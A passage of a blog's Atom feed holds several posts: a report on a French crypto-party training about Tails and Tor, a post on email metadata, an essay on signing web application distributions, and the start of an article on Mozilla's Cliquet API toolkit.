    aider quelqu&amp;#8217;un à faire &amp;#8220;fuiter&amp;#8221; des données depuis l&amp;#8217;intérieur
    d&amp;#8217;une entreprise&amp;nbsp;?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le chiffrement de ses données&lt;/strong&gt;: Comment éviter de faire &amp;#8220;fuiter&amp;#8221;
    des données importantes lors d&amp;#8217;une perquisition de matériel&amp;nbsp;?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-faire-peur"&gt;2. Faire&amp;nbsp;peur&lt;/h2&gt;
&lt;p&gt;Un des premiers objectifs est de faire peur, afin que tout le monde se
rende compte à quel point il est facile d&amp;#8217;accéder à certaines données.
&lt;a href="http://blog.barbayellow.com/"&gt;Grégoire&lt;/a&gt; m&amp;#8217;avait conseillé quelques
petites accroches qui ont ma foi bien&amp;nbsp;marché:&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai demandé aux présent.e.s&amp;nbsp;de:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;donner leur mot de passe à voix haute devant les autres: a priori
    personne ne le&amp;nbsp;fera;&lt;/li&gt;
&lt;li&gt;venir se connecter à leur compte email depuis mon ordinateur. J&amp;#8217;ai
    piégé une personne, qui est venu pour taper son mot de&amp;nbsp;passe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cela à été un bon moyen de parler de l&amp;#8217;importance des traces que l&amp;#8217;on
peut laisser sur un ordinateur, et de la confiance qu&amp;#8217;il faut avoir dans
le matériel que l&amp;#8217;on utilise, à fortiori si ce ne sont pas les&amp;nbsp;vôtres.&lt;/p&gt;
&lt;p&gt;Pour continuer à leur faire peur, après une brève explication de ce
qu&amp;#8217;est &lt;span class="caps"&gt;SSL&lt;/span&gt; nous avons montré comment il était facile de scruter le
réseau à la recherche de mots de passe en&amp;nbsp;clair.&lt;/p&gt;
&lt;h2 id="3-proposer-des-solutions-concretes"&gt;3. Proposer des solutions&amp;nbsp;concrêtes&lt;/h2&gt;
&lt;p&gt;Une fois que tout le monde avait pleinement pris sonscience des
problématiques et n&amp;#8217;osait plus utiliser son ordinateur ou son
téléphone, on à commencé à parler de quelques solutions. Plusieurs
approches étaient possibles ici, nous avons choisi de présenter quelques
outils qui nous semblaient répondre aux&amp;nbsp;attentes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On a expliqué ce qu&amp;#8217;était &lt;a href="https://tails.boum.org"&gt;Tails&lt;/a&gt;, et
    comment l&amp;#8217;utiliser et le&amp;nbsp;dupliquer.&lt;/li&gt;
&lt;li&gt;On a pu faire un tour des outils existants sur Tails, notamment
    autour de l&amp;#8217;&lt;em&gt;anonymisation&lt;/em&gt; de fichiers et la suppression effective
    de&amp;nbsp;contenus.&lt;/li&gt;
&lt;li&gt;Certaines personnes ont pu créer une clé tails avec la persistance
    de&amp;nbsp;configurée.&lt;/li&gt;
&lt;li&gt;Nous nous sommes connectés au réseau
    &lt;a href="https://www.torproject.org"&gt;Tor&lt;/a&gt; et testé que nos adresses &lt;span class="caps"&gt;IP&lt;/span&gt;
    changeaient bien à la&amp;nbsp;demande.&lt;/li&gt;
&lt;li&gt;Nous avons utilisé &lt;a href="https://crypto.cat"&gt;CryptoCat&lt;/a&gt; par dessus Tor,
    afin de voir comment avoir une conversation confidentielle dans
    laquelle il est possible d&amp;#8217;échanger des&amp;nbsp;fichiers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="retours"&gt;Retours&lt;/h2&gt;
&lt;p&gt;D&amp;#8217;une manière générale, pour une formation de trois heures et demi, je
suis assez content de l&amp;#8217;exercice, et de l&amp;#8217;ensemble des sujets que nous
avons pu couvrir. Il y a beaucoup de place pour l&amp;#8217;amélioration,
notamment en amont (j&amp;#8217;avais par exemple oublié d&amp;#8217;amener avec moi
suffisamment de clés &lt;span class="caps"&gt;USB&lt;/span&gt; pour utiliser&amp;nbsp;Tails).&lt;/p&gt;
&lt;p&gt;La plupart des retours qu&amp;#8217;on a pu avoir jusqu&amp;#8217;à maintenant sont
positifs, et il y a l&amp;#8217;envie d&amp;#8217;aller plus loin sur l&amp;#8217;ensemble de ces&amp;nbsp;sujets.&lt;/p&gt;
&lt;h2 id="la-suite"&gt;La&amp;nbsp;suite&lt;/h2&gt;
&lt;p&gt;Il y a beaucoup de sujets que nous n&amp;#8217;avons pas abordés, ou uniquement
survolés, à cause du manque de temps disponible. Idéalement, il faudrait
au moins une journée entière pour couvrir quelques sujets plus en détail
(on peut imaginer avoir une partie théorique le matin et une partie
pratique l&amp;#8217;après-midi par&amp;nbsp;exemple).&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai choisi volontairement de ne pas aborder le chiffrement des messages
via &lt;span class="caps"&gt;PGP&lt;/span&gt; parce que &lt;a href="%7Bfilename%7D2015.05.pgp-problemes.rst"&gt;je pense que la protection que ce média propose n&amp;#8217;est
pas suffisante&lt;/a&gt;, mais je suis
en train de revenir sur ma décision: il pourrait être utile de présenter
l&amp;#8217;outil, à minima, en insistant sur certaines de ses&amp;nbsp;faiblesses.&lt;/p&gt;
&lt;p&gt;Un compte twitter à été créé recemment autour des crypto-party à Rennes,
si vous êtes interessés, &lt;a href="https://twitter.com/CryptoPartyRNS"&gt;allez jeter un coup
d&amp;#8217;œil&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Je n&amp;#8217;ai pas trouvé de ressources disponibles par rapport à des plans de
formation sur le sujet, j&amp;#8217;ai donc décidé de publier les nôtres, afin de
co-construire avec d&amp;#8217;autres des plans de&amp;nbsp;formation.&lt;/p&gt;
&lt;p&gt;Ils sont pour l&amp;#8217;instant disponibles &lt;a href="http://autodefense-numerique.readthedocs.org/en/latest/"&gt;sur Read The
Docs&lt;/a&gt;. Tous les
retours sont évidemment les bienvenus&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Le mail doit-il mourir ?</title><link href="https://blog.notmyidea.org/le-mail-doit-il-mourir.html" rel="alternate"></link><published>2015-11-24T00:00:00+01:00</published><updated>2015-11-24T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-11-24:/le-mail-doit-il-mourir.html</id><summary type="html">&lt;p&gt;J&amp;#8217;utilise quotidiennement le protocole email, tant bien que mal, tout en sachant que l&amp;#8217;ensemble de mes messages passent en clair sur le réseau pour la plupart de mes conversations, puisque trop peu de monde utilise le chiffrement des&amp;nbsp;messages.&lt;/p&gt;
&lt;p&gt;Et même si j&amp;#8217;arrive à convaincre certains de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J&amp;#8217;utilise quotidiennement le protocole email, tant bien que mal, tout en sachant que l&amp;#8217;ensemble de mes messages passent en clair sur le réseau pour la plupart de mes conversations, puisque trop peu de monde utilise le chiffrement des&amp;nbsp;messages.&lt;/p&gt;
&lt;p&gt;Et même si j&amp;#8217;arrive à convaincre certains de mes proches à installer &lt;span class="caps"&gt;PGP&lt;/span&gt;, je ne suis pas satisfait du résultat: les méta-données (qui contacte qui à quel
moment, et pour lui dire quoi) transitent de toute manière, elles, en clair, à la vue de&amp;nbsp;tous.&lt;/p&gt;
&lt;p&gt;Ce problème est lié directement au protocole email: il est &lt;em&gt;necessaire&lt;/em&gt; de faire fuiter ces meta-données (au moins le destinataire) pour avoir un protocole
mail&amp;nbsp;fonctionnel.&lt;/p&gt;
&lt;p&gt;Le mail répond à un besoin de communication asynchrone qui permet des conversations plus réfléchies qu&amp;#8217;un simple chat (miaou). Il est tout à fait possible d&amp;#8217;utiliser certaines technologies existantes afin de construire le futur de l&amp;#8217;email, pour&amp;nbsp;lequel:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les méta-données seraient chiffrées — Il n&amp;#8217;est pas possible de savoir qui
  communique avec qui, et&amp;nbsp;quand;&lt;/li&gt;
&lt;li&gt;Le chiffrement serait fort (et protégé d&amp;#8217;une phrase de passe&amp;nbsp;?);&lt;/li&gt;
&lt;li&gt;La fuite d&amp;#8217;une clé de chiffrement utilisée dans un échange ne permette pas de
  déchiffrer l&amp;#8217;ensemble des échanges (forward&amp;nbsp;secrecy);&lt;/li&gt;
&lt;li&gt;Il ne soit pas possible de réutiliser les données comme preuve pour
  incriminer l&amp;#8217;emmeteur du message&amp;nbsp;(deniability);&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avec au moins ces besoins en tête, il semble qu&amp;#8217;une revue de l&amp;#8217;ensemble des projets existants pointe du doigt vers &lt;a href="https://github.com/agl/pond"&gt;pond&lt;/a&gt;, ou vers &lt;a href="https://www.whispersystems.org"&gt;Signal&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Malheureusement, Pond est le projet d&amp;#8217;une seule personne, qui veut plutôt utiliser ce code comme démonstration du concept en&amp;nbsp;question.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Web distribution signing</title><link href="https://blog.notmyidea.org/web-distribution-signing.html" rel="alternate"></link><published>2015-10-12T00:00:00+02:00</published><updated>2015-10-12T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-10-12:/web-distribution-signing.html</id><summary type="html">&lt;p&gt;&lt;em&gt;I&amp;#8217;m not a crypto expert, nor pretend to be one. These are thoughts I
want to share with the crypto community to actually see if any solution
exists to solve this particular&amp;nbsp;problem.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One &lt;a href="http://www.tonyarcieri.com/whats-wrong-with-webcrypto"&gt;often pointed&lt;/a&gt; flaw in
web-based cryptographic applications is the fact that there is no way …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;I&amp;#8217;m not a crypto expert, nor pretend to be one. These are thoughts I
want to share with the crypto community to actually see if any solution
exists to solve this particular&amp;nbsp;problem.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One &lt;a href="http://www.tonyarcieri.com/whats-wrong-with-webcrypto"&gt;often pointed&lt;/a&gt; flaw in
web-based cryptographic applications is the fact that there is no way to
trust online software distributions. Put differently, you don&amp;#8217;t actually
trust the software authors but are rather trusting the software
distributors and certificate authorities&amp;nbsp;(CAs).&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve been talking with a few folks in the past months about that and
they suggested me to publish something to discuss the matter. So here I&amp;nbsp;come!&lt;/p&gt;
&lt;h2 id="the-problem-attack-vectors"&gt;The problem (Attack&amp;nbsp;vectors)&lt;/h2&gt;
&lt;p&gt;Let&amp;#8217;s try to describe a few potential&amp;nbsp;attacks:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Application Authors&lt;/em&gt; just released a new version of their open source
web crypto messaging application. An &lt;em&gt;Indie Hoster&lt;/em&gt; installs it on their
servers so a wide audience can actually use&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;Someone alters the files on &lt;em&gt;Indie Hoster&lt;/em&gt; servers, effectively
replacing them with other &lt;em&gt;altered files&lt;/em&gt; with less security properties
/ a backdoor. This someone could either be an &lt;em&gt;Evil Attacker&lt;/em&gt; which
found its way trough, the &lt;em&gt;Indie Hoster&lt;/em&gt; or a &lt;span class="caps"&gt;CDN&lt;/span&gt; which delivers the&amp;nbsp;files,&lt;/p&gt;
&lt;p&gt;Trusted &lt;em&gt;Certificate Authorities&lt;/em&gt; (&amp;#8220;governments&amp;#8221; or &amp;#8220;hacking team&amp;#8221;) can
also trick the User Agents (i.e. Firefox) into thinking they&amp;#8217;re talking
to &lt;em&gt;Indie Hoster&lt;/em&gt; even though they&amp;#8217;re actually talking to a different&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Altered files&lt;/strong&gt; are then being served to the User Agents, and &lt;em&gt;Evil
Attacker&lt;/em&gt; now has a way to actually attack the end&amp;nbsp;users.&lt;/p&gt;
&lt;h2 id="problem-mitigation"&gt;Problem&amp;nbsp;Mitigation&lt;/h2&gt;
&lt;p&gt;Part of the problem is solved by the recently introduced &lt;a href="https://w3c.github.io/webappsec/specs/subresourceintegrity/"&gt;Sub Resource
Integrity&lt;/a&gt;
(&lt;span class="caps"&gt;SRI&lt;/span&gt;). To quote them: &amp;#8220;[it] defines a mechanism by which user agents
may verify that a fetched resource has been delivered without unexpected&amp;nbsp;manipulation.&amp;#8221;.&lt;/p&gt;
&lt;p&gt;&lt;span class="caps"&gt;SRI&lt;/span&gt; is a good start, but isn&amp;#8217;t enough: it ensures the assets (JavaScript
files, mainly) loaded from a specific &lt;span class="caps"&gt;HTML&lt;/span&gt; page are the ones the author
of the &lt;span class="caps"&gt;HTML&lt;/span&gt; page intends. However, &lt;span class="caps"&gt;SRI&lt;/span&gt; doesn&amp;#8217;t allow the User Agent to
ensure the &lt;span class="caps"&gt;HTML&lt;/span&gt; page is the one he&amp;nbsp;wants.&lt;/p&gt;
&lt;p&gt;In other words, we miss a way to create trust between &lt;em&gt;Application
Authors&lt;/em&gt; and &lt;em&gt;User Agents&lt;/em&gt;. The User-Agent currently has to trust the
&lt;em&gt;Certificate Authorities&lt;/em&gt; and the delivery (&lt;em&gt;Indie Hoster&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;For desktop software distribution: &lt;em&gt;Crypto Experts&lt;/em&gt; audit the software,
sign it somehow and then this signature can be checked locally during
installation or runtime. It&amp;#8217;s not automated, but at least it&amp;#8217;s&amp;nbsp;possible.&lt;/p&gt;
&lt;p&gt;For web applications, we don&amp;#8217;t have such a mechanism, but it should be
possible. Consider the&amp;nbsp;following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;App Authors&lt;/em&gt; publish a new version of their software; They provide
    a hash of each of their distributed files (including the &lt;span class="caps"&gt;HTML&lt;/span&gt;&amp;nbsp;files);&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Crypto Experts&lt;/em&gt; audit these files and sign the hashes&amp;nbsp;somehow;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;User Agents&lt;/em&gt; can chose to trust some specific &lt;em&gt;Crypto Experts&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;When a &lt;em&gt;User Agent&lt;/em&gt; downloads files, it checks if they&amp;#8217;re signed by
    a trusted&amp;nbsp;party.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="chosing-who-you-trust"&gt;Chosing who you&amp;nbsp;trust&lt;/h2&gt;
&lt;p&gt;In terms of user experience, handling certificates is hard, and that&amp;#8217;s
where the community matters. Distributions such as
&lt;a href="https://tails.boom.org"&gt;Tails&lt;/a&gt; could chose who they trust to verify the
files, and issue warnings / refuse to run the application in case files
aren&amp;#8217;t&amp;nbsp;verified.&lt;/p&gt;
&lt;p&gt;But, as highligted earlier, CAs are hard to trust. A new instance of the
same &lt;span class="caps"&gt;CA&lt;/span&gt; system wouldn&amp;#8217;t make that much differences, expect the fact that
distributions could ship with a set of trusted authorities (for which
revocation would still need to be taken care&amp;nbsp;of).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[&amp;#8230;] users are vulnerable to MitM attacks by the authority, which
can vouch for, or be coerced to vouch for, false keys. This weakness
has been highlighted by recent &lt;span class="caps"&gt;CA&lt;/span&gt; scandals. Both schemes can also be
attacked if the authority does not verify keys before vouching for&amp;nbsp;them.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="http://cacr.uwaterloo.ca/techreports/2015/cacr2015-02.pdf"&gt;SoK : Secure
Messaging&lt;/a&gt;;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It seems that some other systems could allow for something more&amp;nbsp;reliable:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Melara et al proposed &lt;span class="caps"&gt;CONIKS&lt;/span&gt;, using a series of chained commitments to
Merkle prefix trees to build a key directory [&amp;#8230;] for which
individual users can efficiently verify the consistency of their own
entry in the directory without relying on a third&amp;nbsp;party.&lt;/p&gt;
&lt;p&gt;This “self- auditing log” approach makes the system partially have no
auditing required (as general auditing of non-equivocation is still
required) and also enables the system to be privacy preserving as the
entries in the directory need not be made public. This comes at a mild
bandwidth cost not reflected in our table, estimated to be about 10
kilobytes per client per day for&amp;nbsp;self-auditing.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="http://cacr.uwaterloo.ca/techreports/2015/cacr2015-02.pdf"&gt;SoK : Secure
Messaging&lt;/a&gt;;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, I honestly have no idea if this thing solves the whole problem, and
I&amp;#8217;m pretty sure this design has many security problems attached to&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;However, that&amp;#8217;s a problem I would really like to see solved one day, so
here the start of the discussion, don&amp;#8217;t hesitate to &lt;a href="/pages/about.html"&gt;get in
touch&lt;/a&gt;!&lt;/p&gt;
&lt;h2 id="addendum"&gt;Addendum&lt;/h2&gt;
&lt;p&gt;It seems possible to increase the level a user has in a Web Application
by adding indicators in the User-Agent. For instance, when using an
application that&amp;#8217;s actually signed by someone considered trustful by the
User-Agent (or the distributor of the User-Agent), a little green icon
could be presented to the User, so they know that they can be confident
about&amp;nbsp;this.&lt;/p&gt;
&lt;p&gt;A bit like User-Agents do for &lt;span class="caps"&gt;SSL&lt;/span&gt;, but for the actual signature of the
files being&amp;nbsp;viewed.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Service de nuages : Pourquoi avons-nous fait Cliquet ?</title><link href="https://blog.notmyidea.org/pourquoi-cliquet" rel="alternate"></link><published>2015-07-14T00:00:00+02:00</published><updated>2015-07-14T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-07-14:/pourquoi-cliquet</id><summary type="html">&lt;p class="first last"&gt;Basé sur Pyramid, Cliquet est un projet qui permet de se concentrer sur l&amp;#8217;essentiel
lors de la conception&amp;nbsp;d&amp;#8217;APIs.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tldr; Cliquet est un toolkit Python pour construire des APIs, qui implémente
les bonnes pratiques en terme de mise en production et de protocole &lt;span class="caps"&gt;HTTP&lt;/span&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="section" id="les-origines"&gt;
&lt;h2&gt;Les&amp;nbsp;origines&lt;/h2&gt;
&lt;p&gt;L&amp;#8217;objectif pour le premier trimestre 2015 était de construire un service de
stockage et de &lt;a class="reference external" href="https://blog.notmyidea.org/service-de-nuages-fr.html"&gt;synchronisation de listes de lecture&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Au démarrage du projet, nous avons tenté de rassembler toutes les bonnes pratiques
et recommandations, venant de différentes équipes et surtout des derniers projets&amp;nbsp;déployés.&lt;/p&gt;
&lt;p&gt;De même, nous voulions tirer parti du protocole de &lt;em&gt;Firefox Sync&lt;/em&gt;, robuste et éprouvé,
pour la synchronisation des données&amp;nbsp;«offline».&lt;/p&gt;
&lt;p&gt;Plutôt qu&amp;#8217;écrire un &lt;a class="reference external" href="http://blog.octo.com/en/design-a-rest-api/"&gt;énième&lt;/a&gt;
&lt;a class="reference external" href="http://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api"&gt;article&lt;/a&gt; de blog,
nous avons préféré les rassembler dans ce qu&amp;#8217;on a appellé «un&amp;nbsp;protocole».&lt;/p&gt;
&lt;p&gt;Comme pour l&amp;#8217;architecture envisagée nous avions deux projets à construire, qui
devaient obéir globalement à ces mêmes règles, nous avons décidé de mettre en
commun l&amp;#8217;implémentation de ce protocole et de ces bonnes pratiques dans un&amp;nbsp;«toolkit».&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cliquet&lt;/em&gt; est&amp;nbsp;né.&lt;/p&gt;
&lt;img alt="Cliquet logo" class="align-center" src="https://blog.notmyidea.org/images/cliquet/cliquet-logo.png" /&gt;
&lt;div class="section" id="les-intentions"&gt;
&lt;h3&gt;Les&amp;nbsp;intentions&lt;/h3&gt;
&lt;blockquote class="epigraph"&gt;
Quelle structure &lt;span class="caps"&gt;JSON&lt;/span&gt; pour mon &lt;span class="caps"&gt;API&lt;/span&gt; ? Quelle syntaxe pour filtrer la liste
via la querystring ? Comment gérer les écritures concurrentes ?
Et synchroniser les données dans mon application cliente ?&lt;/blockquote&gt;
&lt;p&gt;Désormais, quand un projet souhaite bénéficier d&amp;#8217;une &lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;REST&lt;/span&gt; pour stocker et consommer
des données, il est possible d&amp;#8217;utiliser le &lt;strong&gt;protocole &lt;span class="caps"&gt;HTTP&lt;/span&gt;&lt;/strong&gt; proposé
et de se concentrer sur l&amp;#8217;essentiel. Cela vaut aussi pour les clients, où
la majorité du code d&amp;#8217;interaction avec le serveur est&amp;nbsp;réutilisable.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
Comment pouvons-nous vérifier que le service est opérationnel ? Quels indicateurs StatsD ?
Est-ce que Sentry est bien configuré ? Comment déployer une nouvelle version
sans casser les applications clientes ?&lt;/blockquote&gt;
&lt;p&gt;Comme &lt;em&gt;Cliquet&lt;/em&gt; fournit tout ce qui est nécessaire pour être conforme avec les
exigences de la &lt;strong&gt;mise en production&lt;/strong&gt;, le passage du prototype au service opérationnel
est très rapide ! De base le service répondra aux attentes en terme supervision, configuration,
déploiement et dépréciation de version. Et si celles-ci évoluent, il suffira
de faire évoluer le&amp;nbsp;toolkit.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
Quel backend de stockage pour des documents &lt;span class="caps"&gt;JSON&lt;/span&gt; ? Comment faire si l&amp;#8217;équipe
de production impose PostgreSQL ? Et si on voulait passer à Redis ou en
mémoire pour lancer les tests ?&lt;/blockquote&gt;
&lt;p&gt;En terme d&amp;#8217;implémentation, nous avons choisi de &lt;strong&gt;fournir des abstractions&lt;/strong&gt;.
En effet, nous avions deux services dont le coeur consistait
à exposer un &lt;em&gt;&lt;span class="caps"&gt;CRUD&lt;/span&gt;&lt;/em&gt; en &lt;em&gt;&lt;span class="caps"&gt;REST&lt;/span&gt;&lt;/em&gt;, persistant des données &lt;span class="caps"&gt;JSON&lt;/span&gt; dans un backend.
Comme &lt;em&gt;Pyramid&lt;/em&gt; et &lt;em&gt;Cornice&lt;/em&gt; ne fournissent rien de tout prêt pour ça,
nous avons voulu introduire des classes de bases pour abstraire les notions
de resource &lt;span class="caps"&gt;REST&lt;/span&gt; et de backend de&amp;nbsp;stockage.&lt;/p&gt;
&lt;p&gt;Dans le but de tout rendre optionnel et «pluggable», &lt;strong&gt;tout est configurable&lt;/strong&gt;
depuis le fichier &lt;tt class="docutils literal"&gt;.ini&lt;/tt&gt; de l&amp;#8217;application. Ainsi tous les projets qui utilisent
le toolkit se déploieront de la même manière : seuls quelques éléments de configuration
les&amp;nbsp;distingueront.&lt;/p&gt;
&lt;img alt="Une réunion à Paris..." class="align-center" src="https://blog.notmyidea.org/images/cliquet/cliquet-notes-whiteboard.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="le-protocole"&gt;
&lt;h2&gt;Le&amp;nbsp;protocole&lt;/h2&gt;
&lt;blockquote class="epigraph"&gt;
Est-ce suffisant de parler d&amp;#8217;«&lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;REST&lt;/span&gt;» ? Est-ce bien nécessaire de
relire la spec &lt;span class="caps"&gt;HTTP&lt;/span&gt; à chaque fois ? Pourquoi réinventer un protocole complet
à chaque fois ?&lt;/blockquote&gt;
&lt;p&gt;Quand nous développons un (micro)service Web, nous dépensons généralement beaucoup
trop d&amp;#8217;énergie à (re)faire des choix&amp;nbsp;(arbitraires).&lt;/p&gt;
&lt;p&gt;Nul besoin de lister ici tout ce qui concerne la dimension
de la spécification &lt;span class="caps"&gt;HTTP&lt;/span&gt; pure, qui nous impose le format des headers,
le support de &lt;span class="caps"&gt;CORS&lt;/span&gt;, la négocation de contenus (types mime), la différence entre
authentification et autorisation, la cohérence des code&amp;nbsp;status&amp;#8230;&lt;/p&gt;
&lt;p&gt;Les choix principaux du protocole concernent surtout&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Les resources &lt;span class="caps"&gt;REST&lt;/span&gt;&lt;/strong&gt; : Les deux URLs d&amp;#8217;une resource (pour la collection
et les enregistrements) acceptent des verbes et des headers&amp;nbsp;précis.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Les formats&lt;/strong&gt; : le format et la structure &lt;span class="caps"&gt;JSON&lt;/span&gt; des réponses est imposé, ainsi
que la pagination des listes ou la syntaxe pour filtrer/trier les resources via la &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Query_string"&gt;querystring&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Les timestamps&lt;/strong&gt; : un numéro de révision qui s&amp;#8217;incrémente à chaque opération
d&amp;#8217;écriture sur une collection&amp;nbsp;d&amp;#8217;enregistrements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La synchronisation&lt;/strong&gt; : une série de leviers pour récupérer et renvoyer des
changements sur les données, sans perte ni collision, en utilisant les&amp;nbsp;timestamps.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Les permissions&lt;/strong&gt; : les droits d&amp;#8217;un utilisateur sur une collection ou un enregistrement
(&lt;em&gt;encore frais et sur le point d&amp;#8217;être documenté&lt;/em&gt;) &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opérations par lot&lt;/strong&gt;: une &lt;span class="caps"&gt;URL&lt;/span&gt; qui permet d&amp;#8217;envoyer une série de requêtes
décrites en &lt;span class="caps"&gt;JSON&lt;/span&gt; et d&amp;#8217;obtenir les réponses&amp;nbsp;respectives.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans la dimension opérationnelle du protocole, on trouve&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;La gestion de version&lt;/strong&gt; : cohabitation de plusieurs versions en production,
avec alertes dans les entêtes pour la fin de vie des anciennes&amp;nbsp;versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le report des requêtes&lt;/strong&gt; : entêtes interprétées par les clients, activées en cas de
maintenance ou de surchage, pour ménager le&amp;nbsp;serveur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le canal d&amp;#8217;erreurs&lt;/strong&gt; : toutes les erreurs renvoyées par le serveur ont le même
format &lt;span class="caps"&gt;JSON&lt;/span&gt; et ont un numéro&amp;nbsp;précis.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Les utilitaires&lt;/strong&gt; : URLs diverses pour répondre aux besoins exprimés par
l&amp;#8217;équipe d&amp;#8217;administrateurs (monitoring, metadonnées, paramètres&amp;nbsp;publiques).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce protocole est une compilation des bonnes pratiques pour les APIs &lt;span class="caps"&gt;HTTP&lt;/span&gt; (&lt;em&gt;c&amp;#8217;est notre métier !&lt;/em&gt;),
des conseils des administrateurs système dont c&amp;#8217;est le métier de mettre à disposition des services
pour des millions d&amp;#8217;utilisateurs et des retours d&amp;#8217;expérience de l&amp;#8217;équipe
de &lt;em&gt;Firefox Sync&lt;/em&gt; pour la gestion de la concurrence et de&amp;nbsp;l&amp;#8217;«offline-first».&lt;/p&gt;
&lt;p&gt;Il est &lt;a class="reference external" href="http://cliquet.readthedocs.org/en/latest/api/index.html"&gt;documenté en détail&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dans un monde idéal, ce protocole serait versionné, et formalisé dans une &lt;span class="caps"&gt;RFC&lt;/span&gt;.
En rêve, il existerait même plusieurs implémentations avec des codes différentes
(Python, Go, Node, etc.). &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Voir notre &lt;a class="reference external" href="https://blog.notmyidea.org/service-de-nuages-la-gestion-des-permissions-fr.html"&gt;article dédié sur les permissions&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Rappel: nous sommes une toute petite équipe !&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="le-toolkit"&gt;
&lt;h2&gt;Le&amp;nbsp;toolkit&lt;/h2&gt;
&lt;div class="section" id="choix-techniques"&gt;
&lt;h3&gt;Choix&amp;nbsp;techniques&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Cliquet&lt;/em&gt; implémente le protocole en Python (&lt;em&gt;2.7, 3.4+, pypy&lt;/em&gt;), avec &lt;a class="reference external" href="http://trypyramid.com/"&gt;Pyramid&lt;/a&gt; &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt;.&lt;/p&gt;
